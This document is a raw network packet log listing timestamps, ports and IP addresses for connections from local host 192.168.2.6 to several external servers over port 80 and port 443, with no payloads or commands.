Nov 18, 2024 00:27:54.396262884 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.396308899 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.396353006 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.396385908 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.396395922 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.396419048 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.396439075 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.396550894 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.396579027 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.396604061 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.396611929 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.396632910 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.396646976 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.396658897 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.396680117 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.396698952 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.396712065 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.396729946 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.396765947 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.396774054 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.396805048 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.429534912 CET	443	49978	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.429615021 CET	49978	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.429630995 CET	443	49978	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.429709911 CET	443	49978	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.429784060 CET	49978	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.431348085 CET	49978	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.431360006 CET	443	49978	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.440381050 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.445260048 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.449678898 CET	443	49982	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.451339960 CET	49982	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.451378107 CET	443	49982	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.452317953 CET	49982	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.452328920 CET	443	49982	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.492924929 CET	443	49981	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.492993116 CET	443	49981	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.493109941 CET	443	49981	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.493177891 CET	49981	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.493303061 CET	49981	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.493350983 CET	443	49981	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.493382931 CET	49981	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.493398905 CET	443	49981	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.498138905 CET	49998	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.498168945 CET	443	49998	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.498531103 CET	49998	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.498688936 CET	49998	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.498704910 CET	443	49998	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.518795013 CET	443	49986	108.156.211.19	192.168.2.6
Nov 18, 2024 00:27:54.519124985 CET	49986	443	192.168.2.6	108.156.211.19
Nov 18, 2024 00:27:54.519136906 CET	443	49986	108.156.211.19	192.168.2.6
Nov 18, 2024 00:27:54.520112991 CET	443	49986	108.156.211.19	192.168.2.6
Nov 18, 2024 00:27:54.520180941 CET	49986	443	192.168.2.6	108.156.211.19
Nov 18, 2024 00:27:54.521234035 CET	49986	443	192.168.2.6	108.156.211.19
Nov 18, 2024 00:27:54.521280050 CET	443	49986	108.156.211.19	192.168.2.6
Nov 18, 2024 00:27:54.521526098 CET	49986	443	192.168.2.6	108.156.211.19
Nov 18, 2024 00:27:54.521533012 CET	443	49986	108.156.211.19	192.168.2.6
Nov 18, 2024 00:27:54.526144028 CET	443	49983	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.526722908 CET	49983	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.526765108 CET	443	49983	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.532403946 CET	49983	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.532421112 CET	443	49983	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.581500053 CET	443	49982	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.581649065 CET	443	49982	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.581842899 CET	49982	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.581888914 CET	49982	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.581912994 CET	443	49982	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.581926107 CET	49982	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.581932068 CET	443	49982	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.585056067 CET	49999	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.585099936 CET	443	49999	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.585268021 CET	49999	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.585597038 CET	49999	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.585613012 CET	443	49999	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.617889881 CET	443	49979	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.617918968 CET	443	49979	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.617969990 CET	49979	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.617990017 CET	443	49979	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.618329048 CET	443	49979	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.618391991 CET	49979	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.621553898 CET	49979	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.621575117 CET	443	49979	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.621587038 CET	49979	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.621635914 CET	49979	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.648957014 CET	443	49985	20.125.209.212	192.168.2.6
Nov 18, 2024 00:27:54.649434090 CET	49985	443	192.168.2.6	20.125.209.212
Nov 18, 2024 00:27:54.649442911 CET	443	49985	20.125.209.212	192.168.2.6
Nov 18, 2024 00:27:54.650520086 CET	443	49985	20.125.209.212	192.168.2.6
Nov 18, 2024 00:27:54.650583029 CET	49985	443	192.168.2.6	20.125.209.212
Nov 18, 2024 00:27:54.653601885 CET	49986	443	192.168.2.6	108.156.211.19
Nov 18, 2024 00:27:54.654783964 CET	49985	443	192.168.2.6	20.125.209.212
Nov 18, 2024 00:27:54.654920101 CET	443	49985	20.125.209.212	192.168.2.6
Nov 18, 2024 00:27:54.655301094 CET	49985	443	192.168.2.6	20.125.209.212
Nov 18, 2024 00:27:54.655306101 CET	443	49985	20.125.209.212	192.168.2.6
Nov 18, 2024 00:27:54.658346891 CET	443	49983	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.658406973 CET	443	49983	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.658520937 CET	49983	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.658552885 CET	443	49983	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.658611059 CET	443	49983	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.658689022 CET	49983	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.658845901 CET	49983	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.658862114 CET	443	49983	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.658876896 CET	49983	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.658885002 CET	443	49983	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.662698030 CET	50000	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.662730932 CET	443	50000	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.662827015 CET	50000	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.663001060 CET	50000	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.663017035 CET	443	50000	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.694371939 CET	443	49986	108.156.211.19	192.168.2.6
Nov 18, 2024 00:27:54.694828987 CET	443	49986	108.156.211.19	192.168.2.6
Nov 18, 2024 00:27:54.694961071 CET	49986	443	192.168.2.6	108.156.211.19
Nov 18, 2024 00:27:54.695684910 CET	49986	443	192.168.2.6	108.156.211.19
Nov 18, 2024 00:27:54.695694923 CET	443	49986	108.156.211.19	192.168.2.6
Nov 18, 2024 00:27:54.699059963 CET	50001	443	192.168.2.6	108.156.211.19
Nov 18, 2024 00:27:54.699098110 CET	443	50001	108.156.211.19	192.168.2.6
Nov 18, 2024 00:27:54.699208021 CET	50001	443	192.168.2.6	108.156.211.19
Nov 18, 2024 00:27:54.699414968 CET	50001	443	192.168.2.6	108.156.211.19
Nov 18, 2024 00:27:54.699429035 CET	443	50001	108.156.211.19	192.168.2.6
Nov 18, 2024 00:27:54.713371038 CET	443	49984	20.189.173.15	192.168.2.6
Nov 18, 2024 00:27:54.714533091 CET	49984	443	192.168.2.6	20.189.173.15
Nov 18, 2024 00:27:54.714540958 CET	443	49984	20.189.173.15	192.168.2.6
Nov 18, 2024 00:27:54.715651989 CET	443	49984	20.189.173.15	192.168.2.6
Nov 18, 2024 00:27:54.715718031 CET	49984	443	192.168.2.6	20.189.173.15
Nov 18, 2024 00:27:54.717200041 CET	49984	443	192.168.2.6	20.189.173.15
Nov 18, 2024 00:27:54.717262983 CET	443	49984	20.189.173.15	192.168.2.6
Nov 18, 2024 00:27:54.717576027 CET	49984	443	192.168.2.6	20.189.173.15
Nov 18, 2024 00:27:54.717581034 CET	443	49984	20.189.173.15	192.168.2.6
Nov 18, 2024 00:27:54.717638969 CET	49984	443	192.168.2.6	20.189.173.15
Nov 18, 2024 00:27:54.717658043 CET	443	49984	20.189.173.15	192.168.2.6
Nov 18, 2024 00:27:54.718473911 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.718488932 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.718501091 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.718513012 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.718524933 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.718554974 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.718591928 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.718816042 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.718853951 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.718910933 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.718921900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.718933105 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.718944073 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.718950033 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.718966961 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.718983889 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.719023943 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.719063997 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.719126940 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.719168901 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.719389915 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.719419003 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.719429970 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.719440937 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.719453096 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.719454050 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.719475985 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.719492912 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.719993114 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.720002890 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.720043898 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.720048904 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.720082998 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.720086098 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.720104933 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.720117092 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.720123053 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.720139027 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.720153093 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.720319986 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.720333099 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.720355988 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.720356941 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.720374107 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.720386982 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.720453024 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.720465899 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.720477104 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.720494032 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.720513105 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.720597982 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.720633030 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.720660925 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.720671892 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.720683098 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.720694065 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.720710039 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.720725060 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.768696070 CET	443	49987	20.96.153.111	192.168.2.6
Nov 18, 2024 00:27:54.769026995 CET	49987	443	192.168.2.6	20.96.153.111
Nov 18, 2024 00:27:54.769057035 CET	443	49987	20.96.153.111	192.168.2.6
Nov 18, 2024 00:27:54.770095110 CET	443	49987	20.96.153.111	192.168.2.6
Nov 18, 2024 00:27:54.770175934 CET	49987	443	192.168.2.6	20.96.153.111
Nov 18, 2024 00:27:54.771459103 CET	49987	443	192.168.2.6	20.96.153.111
Nov 18, 2024 00:27:54.771539927 CET	443	49987	20.96.153.111	192.168.2.6
Nov 18, 2024 00:27:54.771718979 CET	49987	443	192.168.2.6	20.96.153.111
Nov 18, 2024 00:27:54.771737099 CET	443	49987	20.96.153.111	192.168.2.6
Nov 18, 2024 00:27:54.832223892 CET	443	49985	20.125.209.212	192.168.2.6
Nov 18, 2024 00:27:54.832279921 CET	49985	443	192.168.2.6	20.125.209.212
Nov 18, 2024 00:27:54.833851099 CET	49985	443	192.168.2.6	20.125.209.212
Nov 18, 2024 00:27:54.833864927 CET	443	49985	20.125.209.212	192.168.2.6
Nov 18, 2024 00:27:54.835412979 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.835465908 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.835479975 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.835480928 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.835510969 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.835510969 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.835530043 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.835540056 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.835550070 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.835566044 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.835578918 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.835603952 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.835696936 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.835720062 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.835752964 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.835757971 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.835782051 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.835787058 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.835807085 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.835830927 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.835978985 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.835983992 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.835999012 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.836025000 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.836061001 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.836092949 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.836116076 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.836138964 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.836143970 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.836165905 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.836189032 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.836218119 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.836265087 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.836299896 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.836319923 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.836338043 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.836354017 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.836354971 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.836379051 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.836395025 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.836419106 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.836455107 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.836471081 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.836491108 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.836512089 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.836541891 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.836563110 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.836589098 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.836606979 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.836641073 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.836739063 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.836764097 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.836777925 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.836797953 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.836802006 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.836819887 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.836837053 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.836844921 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.836941957 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.836980104 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.837013960 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.837033987 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.837074041 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.837075949 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.837095976 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.837107897 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.837114096 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.837148905 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.837151051 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.837151051 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.837167025 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.837199926 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.837219954 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.837239027 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.837270021 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.837311983 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.837354898 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.837409973 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.837431908 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.837455988 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.837467909 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.837488890 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.837551117 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.837583065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.837589979 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.837605000 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.837618113 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.837634087 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.837639093 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.837657928 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.837667942 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.837691069 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.856416941 CET	49984	443	192.168.2.6	20.189.173.15
Nov 18, 2024 00:27:54.856539011 CET	49987	443	192.168.2.6	20.96.153.111
Nov 18, 2024 00:27:54.872505903 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.872522116 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.872550964 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.872569084 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.872592926 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.872605085 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.872606039 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.872612953 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.872632980 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.872642040 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.872651100 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.872658968 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.872678995 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.872698069 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.872766018 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.872785091 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.872808933 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.872838020 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.872862101 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.873302937 CET	443	49993	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.873847961 CET	49993	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.873869896 CET	443	49993	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.873960972 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.874245882 CET	49992	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.874257088 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.875020981 CET	443	49988	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.875291109 CET	49988	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.875324965 CET	443	49988	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.875468016 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.875535011 CET	49992	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.875565052 CET	443	49993	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.875660896 CET	49993	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.876152992 CET	443	49990	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.876355886 CET	443	49988	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.876413107 CET	49988	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.876712084 CET	49992	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.876780987 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.876871109 CET	49993	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.876950026 CET	443	49993	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.877221107 CET	49990	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.877228975 CET	443	49990	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.877398014 CET	49988	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.877464056 CET	443	49988	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.877816916 CET	49992	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.877825022 CET	443	49992	23.47.50.177	192.168.2.6
